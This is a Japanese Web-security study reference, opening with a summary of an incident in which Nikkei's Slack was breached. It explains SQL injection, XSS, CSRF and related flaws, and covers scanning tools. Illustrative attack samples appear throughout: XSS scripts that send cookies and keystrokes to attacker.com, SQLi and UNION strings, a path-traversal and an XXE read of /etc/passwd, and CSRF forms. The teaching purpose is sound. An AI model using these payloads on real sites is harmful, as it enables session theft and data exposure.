情報セキュリテイ８

Dublin Core

Creator

unjuno

Date Created

2025-11-5

Rights

CC BY-NC 4.0 - 非営利目的のみ許可

note Item Type Metadata

note

日経新聞のSlackに不正ログイン

事件概要

日本経済新聞社は2025年11月4日、業務で利用しているビジネスチャットツール「Slack」に外部から不正ログインがあり、社員や取引先など1万7368人分の氏名、メールアドレス、チャット履歴などの情報が流出した可能性があると発表した。

被害の詳細

  • 被害者数: 1万7368人（社員・取引先など）
  • 流出した可能性のある情報:
  • 氏名
  • メールアドレス
  • チャット履歴
  • 発見時期: 2025年9月に被害を把握
  • 発表時期: 2025年11月4日

原因

社員の個人所有のパソコンがウイルスに感染し、Slackの認証情報が流出したことが原因とされている。

対応措置

  • パスワードの変更などの対策を実施（9月）
  • 個人情報保護委員会に任意で報告

現状

現時点で、取材先や取材に関する情報の漏洩は確認されていない。

再発防止

同社は再発防止に努めるとしている。

WEBセキュリティ

このドキュメントについて

このドキュメントは、Webアプリケーションのセキュリティに関する包括的なリファレンスです。セキュリティ専門家から学習ユーザーまで、幅広い読者を想定しています。

目次

基礎編

  1. 基礎知識
  2. 学習パス（初心者向け）
  3. 用語集

主要脆弱性編

  1. 主要な脆弱性と攻撃手法
  2. SQLインジェクション
  3. XSS（クロスサイトスクリプティング）
  4. CSRF（クロスサイトリクエストフォージェリ）
  5. セッション管理の脆弱性
  6. その他の主要脆弱性

実践編

  1. セキュアコーディングのベストプラクティス
  2. 脆弱性診断
  3. SAST、DAST、IAST、SCA
  4. 手動診断のプロセス
  5. 診断レポートの作成

応用編

  1. その他の重要な脆弱性
  2. セキュリティヘッダーの設定
  3. サービス拒否攻撃（DoS/DDoS）
  4. WebSocketセキュリティ
  5. GraphQLセキュリティ
  6. APIセキュリティ
  7. コンテナセキュリティ
  8. クラウドセキュリティの設定ミス
  9. インシデント対応
  10. セキュリティ監視とSIEM

リファレンス編

  1. クイックリファレンス
  2. チェックリスト

基礎知識

WEBセキュリティとは

WEBセキュリティとは、WebアプリケーションやWebサービスにおける情報セキュリティの総称です。インターネット経由でアクセス可能なアプリケーションは、世界中から攻撃の標的となるため、多層的な防御策が必要です。

なぜWEBセキュリティが重要なのか？

  1. インターネットは誰でもアクセス可能: 悪意のある攻撃者も含めて、世界中からアクセスされる
  2. データの価値: 個人情報、顧客データ、機密情報が漏洩すると大きな被害
  3. ビジネスへの影響: セキュリティインシデントは企業の信頼を失う
  4. 法的責任: 個人情報保護法などの法律により、適切な対策が義務付けられている

セキュリティの基本原則

  • 多層防御: 単一の対策に依存せず、複数の対策を重ねる
  • 最小権限の原則: 必要最小限の権限のみを付与
  • 防御の深度: 複数の防御層を設けることで、1つの層が突破されても次の層で防御
  • 継続的な改善: セキュリティは一度設定すれば終わりではなく、継続的に改善が必要

学習パス（初心者向け）

ステップ1: 基礎を理解する（1-2週間）

  1. WEBセキュリティの基本概念
  2. WEBセキュリティとは何か
  3. なぜ重要なのか
  4. セキュリティの基本原則
  1. 主要な脆弱性の概要
  2. SQLインジェクション（最も重要）
  3. XSS（クロスサイトスクリプティング）
  4. CSRF（クロスサイトリクエストフォージェリ）

ステップ2: 実践的な理解（2-4週間）

  1. 各脆弱性の詳細学習
  2. 攻撃の仕組みを理解
  3. 実際の事例を確認
  4. 対策方法を学ぶ
  1. コード例の確認
  2. 脆弱なコードと安全なコードの比較
  3. 実装例を読む（まだ実装しなくて良い）

ステップ3: 実装とテスト（4-8週間）

  1. セキュアコーディングの実践
  2. 入力値検証の実装
  3. 認証・認可の実装
  4. エラーハンドリングの実装
  1. 脆弱性診断の学習
  2. 基本的なツールの使い方
  3. 自分のコードをテストする

ステップ4: 応用と継続的学習（継続）

  1. 高度なトピック
  2. その他の脆弱性
  3. セキュリティヘッダー
  4. インシデント対応
  1. 継続的な学習
  2. 最新の脅威情報を追う
  3. 定期的な脆弱性診断
  4. セキュリティコミュニティへの参加

用語集

基本用語

脆弱性（Vulnerability）

システムやアプリケーションに存在するセキュリティ上の欠陥。攻撃者が悪用する可能性がある。

エクスプロイト（Exploit）

脆弱性を悪用して攻撃を実行するコードや手法。

ペイロード（Payload）

攻撃の実際の動作を実行する部分。マルウェアの本体や、実行される悪意のあるコード。

インジェクション（Injection）

ユーザー入力がコードとして実行される脆弱性。SQLインジェクション、コマンドインジェクションなど。

エスケープ（Escape）

特殊文字を安全な形式に変換すること。例: < → &lt;

サニタイゼーション（Sanitization）

データを安全な形式に変換・除去すること。危険な文字やコードを削除する。

認証（Authentication）

ユーザーが本人であることを確認すること。「誰か」を確認する。

認可（Authorization）

ユーザーが特定のリソースにアクセスする権限があるかを確認すること。「何ができるか」を確認する。

セッション（Session）

ユーザーがログインしてからログアウトするまでの一連の操作。サーバー側で管理される状態。

トークン（Token）

認証や認可に使用される一時的な識別子。セッションID、CSRFトークンなど。

技術用語

プリペアドステートメント（Prepared Statement）

SQL文の構造とデータを分離して実行する方法。SQLインジェクションを防ぐ。

CSP（Content Security Policy）

ブラウザが読み込むことができるリソースを制限するセキュリティポリシー。

WAF（Web Application Firewall）

Webアプリケーションの前に配置され、HTTP/HTTPSトラフィックを監視・フィルタリングするシステム。

SIEM（Security Information and Event Management）

セキュリティ情報イベント管理システム。ログを集約・分析して異常を検知する。

主要な脆弱性と攻撃手法

初心者向けヒント: このセクションでは、最も重要な脆弱性から順に説明しています。最初は「SQLインジェクション」「XSS」「CSRF」の3つを重点的に学習してください。

SQLインジェクション（SQL Injection）

重要度: ★★★★★（最高） | 難易度: ★★★（中級） | 学習優先度: 最優先

定義

Webアプリケーションのデータベース操作時に、ユーザーからの入力を適切に処理しないことで、悪意あるSQL文が実行されてしまう脆弱性です。

初心者向け説明

データベースに情報を保存・取得する際に使用する「SQL」という言語があります。通常、ユーザーが入力した内容は「データ」として扱われますが、適切に処理しないと「命令」として実行されてしまうことがあります。これがSQLインジェクションです。

例え: 書類の記入欄に「氏名」と書いてあるのに、そこに「この書類を破棄してください」という命令を書いてしまうようなものです。

攻撃の仕組み

  1. 基本的な攻撃例
  2. 通常の入力: username = "admin"
  3. 悪意のある入力: username = "admin' OR '1'='1"
  4. 生成されるSQL: SELECT * FROM users WHERE username = 'admin' OR '1'='1'
  5. 結果: すべてのユーザー情報が取得される
  1. UNION句を利用した攻撃
  2. 入力: ' UNION SELECT username, password FROM users--
  3. 複数のテーブルからデータを結合して取得
  1. ブール型ブラインドSQLインジェクション
  2. 真偽値を返す条件分岐を利用して、データを1ビットずつ推測
  3. 時間差攻撃（Time-based）: SLEEP()関数などを利用して応答時間から情報を推測
  1. エラーベースSQLインジェクション
  2. データベースのエラーメッセージから情報を漏洩させる

影響範囲

  • データベース全体の情報漏洩: 顧客情報、個人情報、機密データなど
  • データの改ざん・削除: データベースの内容を変更または削除
  • 認証回避: パスワードなしでログイン可能になる
  • 権限昇格: 管理者権限の取得
  • ファイルシステムへのアクセス: データベースの機能を利用したファイル読み書き（例: MySQLのLOAD_FILE()）

対策方法

    1. プリペアドステートメント（Prepared Statement）の使用
    2. パラメータ化クエリを使用し、入力値をSQL文の構造と分離
    3. 例（Java）:
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, username);
stmt.setString(2, password);
    1. 例（PHP）:
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);
  1. 入力値のバリデーション
  2. ホワイトリスト方式: 許可された文字のみを受け付ける
  3. ブラックリスト方式: 危険な文字を拒否（推奨されない）
  4. データ型の検証: 数値型の場合は数値のみを受け付ける
  1. 最小権限の原則
  2. データベース接続ユーザーに必要最小限の権限のみを付与
  3. SELECT権限のみが必要な処理では、INSERT/UPDATE/DELETE権限を与えない
  1. エラーメッセージの制御
  2. 詳細なエラーメッセージをユーザーに表示しない
  3. ログに記録し、ユーザーには汎用的なエラーメッセージを表示
  1. ストアドプロシージャの活用
  2. SQL文をアプリケーションコードから分離
  3. パラメータの型チェックが行われる
  1. Webアプリケーションファイアウォール（WAF）の導入
  2. SQLインジェクション攻撃のパターンを検知してブロック

実際の事例

  • Sony PlayStation Network（2011年）: SQLインジェクションを利用して7,700万人の個人情報が漏洩
  • Heartland Payment Systems（2008年）: SQLインジェクションにより1億3,000万件のクレジットカード情報が漏洩

クロスサイトスクリプティング（XSS: Cross-Site Scripting）

定義

攻撃者が悪意あるスクリプトをWebページに埋め込み、閲覧者のブラウザ上で実行させる攻撃手法です。

XSSの種類

  1. 反射型XSS（Reflected XSS）
  2. 特徴: ユーザーの入力が即座にページに反映される
  3. 攻撃の流れ:
  4. 攻撃者が悪意のあるURLを作成: http://example.com/search?q=<script>alert('XSS')</script>
  5. 被害者にURLを送信（メール、SNS等）
  6. 被害者がURLをクリック
  7. サーバーが入力値をそのまま返す
  8. ブラウザがスクリプトを実行
  9. 影響: セッションクッキーの盗難、フィッシング詐欺への誘導
  1. 格納型XSS（Stored XSS / Persistent XSS）
  2. 特徴: 悪意のあるスクリプトがデータベースに保存され、複数のユーザーに影響
  3. 攻撃の流れ:
  4. 攻撃者がコメント欄や掲示板に悪意のあるスクリプトを投稿
  5. スクリプトがデータベースに保存される
  6. 他のユーザーがそのページを閲覧
  7. 保存されたスクリプトが実行される
  8. 影響: より深刻。多くのユーザーが影響を受ける
  1. DOMベースXSS（DOM-based XSS）
  2. 特徴: クライアント側のJavaScriptでDOMを操作する際に発生
  3. 攻撃の流れ:
  4. 悪意のあるURLのフラグメント（#以降）にスクリプトを含める
  5. JavaScriptがlocation.hashなどから値を読み取り
  6. そのままDOMに反映してスクリプトが実行される
  7. 特徴: サーバー側では検出が困難

攻撃の具体例

    1. セッションクッキーの盗難
<script>
document.location='http://attacker.com/steal.php?cookie='+document.cookie;
</script>
    1. キーロガーの埋め込み
<script>
document.onkeypress = function(e) {
    fetch('http://attacker.com/keylog.php?key=' + e.key);
}
</script>
    1. 偽のログインフォームの表示
<script>
document.body.innerHTML = '<form action="http://attacker.com/steal.php">...</form>';
</script>

影響範囲

  • セッションハイジャック: クッキーを盗んでユーザーになりすます
  • 個人情報の窃取: フォーム入力内容の盗み取り
  • マルウェアの配布: 悪意のあるサイトへのリダイレクト
  • 偽ページの表示: フィッシング詐欺の実行
  • ページの改ざん: コンテンツの書き換え

対策方法

  1. 出力のエスケープ
  2. HTMLコンテキスト: < → &lt;, > → &gt;, & → &amp;, " → &quot;, ' → &#x27;
  3. JavaScriptコンテキスト: \ でエスケープ、JSON形式で出力
  4. URLコンテキスト: URLエンコード
  5. CSSコンテキスト: エスケープまたは検証
  1. コンテンツセキュリティポリシー（CSP: Content Security Policy）
  2. HTTPヘッダーで設定
  3. 例: Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'
  4. インラインスクリプトの実行を制限
  5. 外部スクリプトの読み込み元を制限
  1. 入力値の検証とサニタイゼーション
  2. 許可された文字のみを受け付ける（ホワイトリスト方式）
  3. HTMLタグの除去（例: strip_tags()関数）
  4. リッチテキストエディタの場合は、許可されたタグのみを許可
  1. HTTPOnly属性の設定
  2. クッキーにHttpOnly属性を設定し、JavaScriptからアクセス不可にする
  3. 例: Set-Cookie: sessionid=xxx; HttpOnly; Secure
  1. XSS保護機能の活用
  2. ブラウザのXSS保護機能（X-XSS-Protectionヘッダー）
  3. フレームワークのXSS保護機能（例: Django、Rails）

実際の事例

  • MySpace（2005年）: SamyワームがXSSを利用して100万人以上のユーザーに拡散
  • Twitter（2010年）: XSSにより、ユーザーが自動的にツイートを投稿する攻撃

クロスサイトリクエストフォージェリ（CSRF: Cross-Site Request Forgery）

定義

ユーザーが意図しないリクエストを、ログイン中のWebアプリケーションに送信させる攻撃手法です。

攻撃の仕組み

    1. 基本的な攻撃例
    2. ユーザーが銀行サイト（bank.com）にログイン
    3. 別タブで悪意のあるサイト（evil.com）を開く
    4. evil.comのページに以下のコードが埋め込まれている:
<img src="http://bank.com/transfer?to=attacker&amount=10000">
  1. ブラウザが自動的にリクエストを送信
  2. ユーザーが意図しない送金が実行される
    1. フォームを使った攻撃
<form action="http://bank.com/transfer" method="POST" id="evil">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('evil').submit();</script>

影響範囲

  • 意図しない操作の実行: 送金、パスワード変更、データ削除など
  • アカウントの乗っ取り: メールアドレスやパスワードの変更
  • データの改ざん: プロフィール情報の変更

対策方法

    1. CSRFトークンの使用
    2. セッションごとにランダムなトークンを生成
    3. フォームにトークンを埋め込み
    4. リクエスト時にトークンを検証
    5. 例:
<form method="POST">
  <input type="hidden" name="csrf_token" value="random_token_12345">
  ...
</form>
  1. SameSite属性の設定
  2. クッキーにSameSite=StrictまたはSameSite=Laxを設定
  3. クロスサイトリクエスト時にクッキーを送信しない
  4. 例: Set-Cookie: sessionid=xxx; SameSite=Strict
  1. リファラーの検証
  2. HTTPリファラーヘッダーを検証
  3. 同一オリジンからのリクエストのみ許可
  4. ただし、リファラーが送られない場合があるため、補助的な対策
  1. 二段階認証の導入
  2. 重要な操作には追加の認証を要求
  3. パスワード再入力、SMS認証など
  1. カスタムヘッダーの検証
  2. X-Requested-Withヘッダーなどのカスタムヘッダーを検証
  3. XMLHttpRequestで自動的に送信される

実際の事例

  • Gmail（2007年）: CSRFにより、フィルター設定を変更してメールを転送する攻撃

セッション管理の脆弱性

セッションハイジャック

  • 定義: 他者のセッションIDを盗んで、そのユーザーになりすます攻撃
  • 原因:
  • セッションIDがURLに含まれる（URLに露出）
  • セッションIDが固定される（セッション固定化攻撃）
  • セッションIDが推測可能
  • セッションIDが暗号化されていない通信で送信される
  • 対策:
  • セッションIDをクッキーに保存（URLに含めない）
  • セッションIDを十分に長く、ランダムに生成
  • HTTPS通信を強制
  • セッションタイムアウトの設定
  • ログイン時のセッションID再生成

セッション固定化攻撃（Session Fixation）

  • 定義: 攻撃者が事前に取得したセッションIDを、被害者に使用させる攻撃
  • 攻撃の流れ:
  1. 攻撃者がセッションIDを取得
  2. 被害者にそのセッションIDを使用させる（URLに含めるなど）
  3. 被害者がログイン
  4. 攻撃者が同じセッションIDでログイン済みセッションにアクセス
  5. 対策:
  6. ログイン成功時にセッションIDを再生成
  7. 権限変更時（管理者ログインなど）にセッションIDを再生成

ディレクトリトラバーサル（Path Traversal）

定義

ファイルパス操作において、../などの特殊な文字を利用して、意図しないディレクトリのファイルにアクセスする脆弱性です。

攻撃の仕組み

  • 基本的な攻撃例:
  • 正常なリクエスト: http://example.com/file.php?path=documents/file.txt
  • 悪意のあるリクエスト: http://example.com/file.php?path=../../../etc/passwd
  • 結果: /etc/passwdファイルが読み取られる

影響範囲

  • 機密ファイルの読み取り: 設定ファイル、パスワードファイルなど
  • アプリケーションソースコードの漏洩: ビジネスロジックの暴露
  • ファイルの書き込み: 設定ファイルの改ざん

対策方法

  • パスの正規化と検証: 絶対パスに変換し、許可されたディレクトリ内か確認
  • ホワイトリスト方式: 許可されたファイル名のみ許可
  • ベースディレクトリの設定: アクセス可能なディレクトリを制限
  • ファイル名のサニタイゼーション: 危険な文字（../、\など）を除去

XML外部実体参照（XXE: XML External Entity）

定義

XMLパーサーが外部実体を参照する際に、ファイルシステムやネットワークリソースにアクセスできてしまう脆弱性です。

攻撃の仕組み

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

影響範囲

  • ファイルシステムへのアクセス: サーバー上の任意のファイルを読み取り
  • サーバーサイドリクエストフォージェリ（SSRF）: 内部ネットワークへのアクセス
  • サービス拒否攻撃（DoS）: 巨大なエンティティを参照してメモリを消費

対策方法

  • 外部実体参照の無効化: XMLパーサーの設定で外部実体を無効化
  • DTDの無効化: ドキュメント型定義（DTD）の処理を無効化
  • XMLの代わりにJSONを使用: 可能な場合はJSONを使用
  • XMLパーサーの設定見直し: 最新の安全な設定を適用

ファイルアップロードの脆弱性

定義

ファイルアップロード機能において、悪意のあるファイルをアップロードされ、実行される脆弱性です。

攻撃の種類

  1. Web Shellのアップロード
  2. PHP、JSP、ASPなどの実行可能なスクリプトをアップロード
  3. サーバー上で任意のコマンドを実行可能
  1. ファイル拡張子の偽装
  2. malicious.php.jpgのように、拡張子を偽装
  3. サーバーが拡張子のみで判定する場合に有効
  1. MIMEタイプの偽装
  2. Content-Typeヘッダーを偽装して、画像ファイルとしてアップロード
  1. マジックナンバーの偽装
  2. ファイルの先頭バイトを変更して、画像ファイルに見せかける

対策方法

  • ファイル拡張子の検証: 許可された拡張子のみ許可（ホワイトリスト方式）
  • MIMEタイプの検証: Content-Typeだけでなく、実際のファイル内容を検証
  • マジックナンバーの検証: ファイルの先頭バイトを確認
  • ファイル名のサニタイゼーション: 危険な文字を除去、ファイル名をランダム化
  • アップロード先の設定: Webサーバーのルート外に保存、実行権限を付与しない
  • ウイルススキャン: アップロードされたファイルをスキャン
  • ファイルサイズの制限: 過大なファイルのアップロードを防ぐ

オープンリダイレクト（Open Redirect）

定義

リダイレクト先のURLを外部から指定できる場合、フィッシングサイトに誘導される脆弱性です。

攻撃の仕組み

  • 正常なリダイレクト: http://example.com/login?redirect=/dashboard
  • 悪意のあるリダイレクト: http://example.com/login?redirect=http://evil.com/phishing
  • ユーザーが信頼するサイト（example.com）から悪意のあるサイト（evil.com）に誘導される

対策方法

  • ホワイトリスト方式: 許可されたURLのみリダイレクト先として許可
  • 相対URLのみ許可: 絶対URL（http://で始まる）を拒否
  • ドメインの検証: 同一ドメイン内のURLのみ許可

HTTPヘッダーインジェクション

定義

ユーザー入力がHTTPヘッダーに含まれる際、改行文字を注入して任意のヘッダーを追加する脆弱性です。

攻撃の仕組み

入力値: "user\r\nLocation: http://evil.com"
生成されるHTTPレスポンス:
HTTP/1.1 200 OK
Set-Cookie: user
Location: http://evil.com

影響範囲

  • レスポンス分割攻撃: 任意のHTTPレスポンスを生成
  • クッキー注入: 任意のクッキーを設定
  • キャッシュポイズニング: キャッシュに悪意のあるコンテンツを保存

対策方法

  • 改行文字の除去: \r、\nを除去またはエスケープ
  • ヘッダー値の検証: 許可された文字のみ許可
  • フレームワークの機能を使用: 自動的にサニタイゼーションされる機能を使用

不適切なエラーハンドリング

定義

エラーメッセージからアプリケーションの内部情報が漏洩する脆弱性です。

漏洩する可能性のある情報

  • データベースの構造（テーブル名、カラム名）
  • ファイルパス
  • スタックトレース
  • ソースコードの一部
  • システムのバージョン情報

対策方法

  • 汎用的なエラーメッセージを表示: 詳細な情報はユーザーに表示しない
  • ログに記録: 詳細なエラー情報はログに記録
  • エラーページのカスタマイズ: デフォルトのエラーページを使用しない

安全でないオブジェクト参照（Insecure Direct Object Reference）

定義

オブジェクト（ファイル、データベースレコードなど）への直接参照が適切に検証されていない脆弱性です。

攻撃の仕組み

  • 正常なアクセス: http://example.com/file?id=123（ユーザーAのファイル）
  • 不正なアクセス: http://example.com/file?id=456（ユーザーBのファイル）
  • アクセス制御が不十分な場合、他人のファイルにアクセス可能

対策方法

  • アクセス制御の実装: オブジェクトへのアクセス権限を検証
  • 間接参照の使用: 内部IDを直接公開せず、マッピングテーブルを使用
  • 認可の確認: ユーザーがアクセス権限を持っているか確認

安全でないデシリアライゼーション（Insecure Deserialization）

定義

信頼できないデータをデシリアライズする際に、任意のコードが実行される脆弱性です。

影響範囲

  • リモートコード実行: 任意のコードを実行
  • 権限昇格: 管理者権限の取得
  • DoS攻撃: メモリを大量消費

対策方法

  • デシリアライゼーションの回避: JSONなど、より安全な形式を使用
  • シリアライズされたデータの署名: 改ざんを検出
  • 最小限のデータのみシリアライズ: 機密情報を含めない
  • デシリアライゼーション前の検証: データの整合性を確認

セキュアコーディングのベストプラクティス

入力値の検証

  1. ホワイトリスト方式の採用
  2. 許可された値のみを受け付ける
  3. ブラックリスト方式は避ける（見落としが発生しやすい）
  1. サーバー側での検証
  2. クライアント側の検証だけでは不十分
  3. 必ずサーバー側でも検証を実施
  1. データ型の検証
  2. 数値型の場合は数値のみ受け付ける
  3. 文字列の長さ制限
  1. 正規表現の活用
  2. メールアドレス、電話番号などの形式検証

認証・認可の実装

  1. パスワードのハッシュ化
  2. 平文で保存しない
  3. 強力なハッシュアルゴリズムを使用（bcrypt、Argon2など）
  4. ソルト（salt）の使用
  1. セッション管理
  2. セッションIDを十分に長く、ランダムに生成
  3. セッションタイムアウトの設定
  4. ログアウト機能の実装
  1. 多要素認証（MFA）の導入
  2. パスワードに加えて、追加の認証要素を要求
  3. TOTP（Time-based One-Time Password）、SMS認証など
  1. 認可の実装
  2. ロールベースアクセス制御（RBAC）
  3. リソースごとのアクセス権限の確認

エラーメッセージの制御

  1. 詳細情報の非表示
  2. スタックトレースをユーザーに表示しない
  3. データベースエラーの詳細を非表示
  1. ログへの記録
  2. 詳細なエラー情報はログに記録
  3. ログの適切な管理（アクセス制御、ローテーション）

脆弱なライブラリの回避

  1. 依存関係の管理
  2. 使用しているライブラリのバージョンを管理
  3. 定期的な更新
  1. 脆弱性情報の確認
  2. CVE（Common Vulnerabilities and Exposures）データベースを確認
  3. 自動化ツールの活用（OWASP Dependency-Check、Snykなど）
  1. 最小限の依存関係
  2. 必要最小限のライブラリのみ使用
  3. 不要なライブラリの削除

暗号化の実装

  1. HTTPSの使用
  2. すべての通信をHTTPSで暗号化
  3. HSTS（HTTP Strict Transport Security）の設定
  1. 機密データの暗号化
  2. データベースに保存する機密データの暗号化
  3. 適切な暗号化アルゴリズムの選択（AES-256など）
  1. 鍵管理
  2. 暗号化鍵の適切な管理
  3. 鍵のローテーション

ログとモニタリング

  1. 適切なログ記録
  2. 認証試行、権限変更、重要な操作をログに記録
  3. ログの改ざん防止
  1. 異常検知
  2. 異常なアクセスパターンの検知
  3. 侵入検知システム（IDS）の導入

脆弱性診断

重要度: ★★★★★（最高） | 難易度: ★★★★（上級） | 学習優先度: 高

定義

Webアプリケーションに存在するセキュリティ上の欠陥を発見するための検査です。開発ライフサイクルの各段階で実施し、脆弱性を早期に発見・修正することで、セキュリティリスクを最小化します。

初心者向け説明

脆弱性診断は、アプリケーションの「健康診断」のようなものです。病気（脆弱性）を早期に発見して治療（修正）することで、重大な問題（セキュリティインシデント）を防ぎます。

脆弱性診断の重要性

  1. 早期発見・早期修正
  2. 開発段階で脆弱性を発見することで、修正コストを削減
  3. 本番環境でのインシデントを防止
  1. コンプライアンス対応
  2. セキュリティ基準（PCI DSS、ISO 27001など）への準拠
  3. 法的要件の遵守
  1. 信頼性の向上
  2. ユーザーや顧客からの信頼獲得
  3. ブランド価値の保護
  1. 継続的改善
  2. セキュリティ品質の継続的な向上
  3. 開発チームのセキュリティ意識向上

脆弱性診断の種類

1. 静的アプリケーションセキュリティテスト（SAST）

定義

ソースコードを静的解析して、実行前に脆弱性を検出する手法です。

特徴

  • メリット:
  • 開発の早い段階で実施可能
  • 実行環境が不要
  • コードの全体的な品質を確認可能
  • 自動化が容易
  • デメリット:
  • 誤検知（False Positive）が多い場合がある
  • 実行時の動作を確認できない
  • 設定ミスや環境依存の脆弱性を検出できない

仕組み

  1. ソースコードの解析
  2. コードの構文解析
  3. データフロー解析
  4. 制御フロー解析
  1. 脆弱性パターンの検出
  2. 既知の脆弱性パターンとの照合
  3. セキュリティルールとの照合
  4. ヒューリスティック分析
  1. レポート生成
  2. 脆弱性の場所と種類を特定
  3. 重大度の評価
  4. 修正方法の提案

主要ツール

SonarQube
    • 特徴: オープンソース、コード品質とセキュリティを統合
    • 対応言語: Java、C#、JavaScript、Python、PHP、Goなど
    • 使い方:
# SonarQubeの起動（Docker使用例）
docker run -d --name sonarqube -p 9000:9000 sonarqube

# プロジェクトの分析
sonar-scanner \
  -Dsonar.projectKey=my-project \
  -Dsonar.sources=. \
  -Dsonar.host.url=http://localhost:9000
    • 設定例: .sonar-project.properties
sonar.projectKey=my-web-app
sonar.projectName=My Web Application
sonar.sources=src
sonar.language=java
sonar.sourceEncoding=UTF-8
Checkmarx
  • 特徴: 商用ツール、高い検出精度
  • 対応言語: 20以上の言語
  • 特徴: エンタープライズ向け、包括的なレポート
Veracode
  • 特徴: クラウドベースのSASTサービス
  • 特徴: 継続的なスキャン、CI/CD統合

SASTの実践例

Javaアプリケーションの例
// 脆弱なコード（SQLインジェクション）
String query = "SELECT * FROM users WHERE username = '" + username + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

// SASTツールが検出する内容
// 警告: SQLインジェクションの可能性
// 推奨: PreparedStatementを使用
JavaScriptアプリケーションの例
// 脆弱なコード（DOM-based XSS）
document.getElementById('output').innerHTML = userInput;

// SASTツールが検出する内容
// 警告: XSSの可能性
// 推奨: textContentを使用、またはエスケープ処理を実施

2. 動的アプリケーションセキュリティテスト（DAST）

定義

実行中のアプリケーションに対して、実際のHTTPリクエストを送信して脆弱性を検出する手法です。

特徴

  • メリット:
  • 実際の動作環境をテスト
  • 設定ミスや環境依存の脆弱性を検出
  • 誤検知が少ない
  • 実行時の動作を確認可能
  • デメリット:
  • 実行環境が必要
  • コードの詳細な分析はできない
  • 自動化が複雑な場合がある

仕組み

  1. アプリケーションの探索
  2. クローリングによるURL発見
  3. フォームの自動入力
  4. リンクの追跡
  1. 攻撃パターンの注入
  2. 既知の攻撃パターンを注入
  3. 様々な入力値を試行
  4. レスポンスの分析
  1. 脆弱性の検証
  2. レスポンスの内容確認
  3. エラーメッセージの分析
  4. 動作の変化を検出

主要ツール

OWASP ZAP（Zed Attack Proxy）

特徴: オープンソース、無料、初心者にも使いやすい

インストール方法:

# Dockerを使用する場合
docker run -t owasp/zap2docker-stable zap-baseline.py -t http://target-app

# または公式サイトからダウンロード
# https://www.zaproxy.org/download/

基本的な使い方:

    1. 自動スキャン（Quick Start）
1. ZAPを起動
2. "Quick Start"タブを選択
3. ターゲットURLを入力
4. "Attack"ボタンをクリック
5. スキャン結果を確認
    1. 手動スキャン（Manual Explore）
1. "Manual Explore"タブを選択
2. ターゲットURLを入力
3. ブラウザを起動してアプリケーションを操作
4. ZAPが通信を記録
5. 記録されたリクエストに対してスキャンを実行
    1. APIスキャン
# OpenAPI定義を使用したスキャン
zap-api-scan.py -t http://target-api -f openapi -O openapi.json

スキャンポリシーの設定:

  • 低リスク: 基本的な脆弱性のみ検出
  • 中リスク: 一般的な脆弱性を検出（推奨）
  • 高リスク: 詳細なスキャン（時間がかかる）

レポートの出力:

# HTMLレポートの生成
zap-cli report -o report.html -f html

# JSONレポートの生成
zap-cli report -o report.json -f json
Burp Suite

特徴: プロフェッショナル向け、高度な機能

エディション:

  • Community Edition: 無料版（機能制限あり）
  • Professional: 有料版（全機能）
  • Enterprise: エンタープライズ版

基本的な使い方:

    1. プロキシの設定
1. Burp Suiteを起動
2. Proxy > Options でプロキシ設定を確認（デフォルト: 127.0.0.1:8080）
3. ブラウザのプロキシ設定をBurp Suiteに合わせる
4. ブラウザのCA証明書をインストール（HTTPS通信のため）
    1. スパイダー（自動探索）
1. Targetタブでターゲットを選択
2. 右クリック > "Spider this host"
3. Spiderタブで進捗を確認
    1. スキャナーの実行
1. Scannerタブを選択
2. "New Scan"をクリック
3. スキャン設定を選択
4. スキャンを開始
    1. 手動テスト
1. Proxy > HTTP historyでリクエストを確認
2. リクエストを右クリック > "Send to Repeater"
3. Repeaterタブでリクエストを編集・送信
4. レスポンスを分析

拡張機能（Extensibility）:

  • BApp Store: コミュニティが作成した拡張機能
  • カスタム拡張: JavaやPythonで拡張機能を開発可能
Acunetix

特徴: 商用ツール、高い検出精度、包括的なレポート

特徴:

  • 自動スキャンと手動テストの両方に対応
  • 詳細な脆弱性レポート
  • 優先度付けとリスク評価

3. インタラクティブアプリケーションセキュリティテスト（IAST）

定義

実行中のアプリケーションを監視し、SASTとDASTの長所を組み合わせた手法です。

特徴

  • メリット:
  • 実行時の動作を詳細に分析
  • 誤検知が少ない
  • コードの位置を正確に特定
  • リアルタイムでの検出
  • デメリット:
  • 実装が複雑
  • パフォーマンスへの影響
  • ツールの選択肢が限られる

仕組み

  1. アプリケーションへの統合
  2. エージェントをアプリケーションに組み込み
  3. 実行時の動作を監視
  1. リアルタイム分析
  2. データフローの追跡
  3. 脆弱性パターンの検出
  4. 実行時の動作を記録
  1. 結果の即時報告
  2. 脆弱性を即座に検出
  3. コードの位置を特定
  4. 詳細な情報を提供

主要ツール

  • Contrast Security: エンタープライズ向けIAST
  • Veracode IAST: VeracodeのIASTソリューション
  • Hdiv Detection: オープンソースのIAST

4. ソフトウェア構成分析（SCA）

定義

使用しているライブラリやフレームワークの脆弱性を検出する手法です。

特徴

  • メリット:
  • 依存関係の脆弱性を包括的に検出
  • 既知の脆弱性（CVE）を確認
  • ライセンスの確認も可能
  • デメリット:
  • コード自体の脆弱性は検出できない
  • 誤検知の可能性（実際には使用されていない依存関係）

仕組み

  1. 依存関係の特定
  2. package.json、pom.xml、requirements.txtなどの解析
  3. 依存関係のツリーを構築
  1. 脆弱性データベースとの照合
  2. CVE（Common Vulnerabilities and Exposures）データベース
  3. セキュリティアドバイザリの確認
  1. 影響範囲の評価
  2. 実際に使用されているか確認
  3. 影響範囲の評価

主要ツール

OWASP Dependency-Check
# インストール
npm install -g dependency-check

# スキャンの実行（Node.jsプロジェクト）
dependency-check --project "My Project" --scan ./package.json

# スキャンの実行（Javaプロジェクト）
dependency-check --project "My Project" --scan ./target/*.jar

出力形式:

  • HTML、JSON、XML、CSVなど
Snyk
# インストール
npm install -g snyk

# 認証
snyk auth

# スキャンの実行
snyk test

# モニタリングの開始
snyk monitor

特徴:

  • 継続的なモニタリング
  • CI/CD統合
  • 自動修正の提案
GitHub Dependabot
# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "weekly"
